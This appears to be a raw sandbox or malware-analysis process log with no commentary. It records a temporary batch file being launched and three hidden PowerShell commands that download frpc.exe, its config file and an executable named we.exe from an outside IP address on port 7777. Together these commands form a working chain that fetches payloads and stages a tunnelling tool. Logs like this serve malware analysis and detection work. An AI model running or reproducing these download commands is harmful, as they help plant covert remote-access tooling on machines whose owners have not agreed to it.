cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "dwgenGeAk" C:\Users\test22\AppData\Local\Temp\mysql.bat
2560powershell.exe powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadFile('http://101.133.156.69:7777/frpc.exe', \"$env:USERPROFILE\Downloads\frpc.exe\")"
2720powershell.exe powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadFile('http://101.133.156.69:7777/frpc.ini', \"$env:USERPROFILE\Downloads\frpc.ini\")"
2956powershell.exe powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadFile('http://101.133.156.69:7777/we.exe', \"$env:USERPROFILE\Downloads\we.exe\")"
148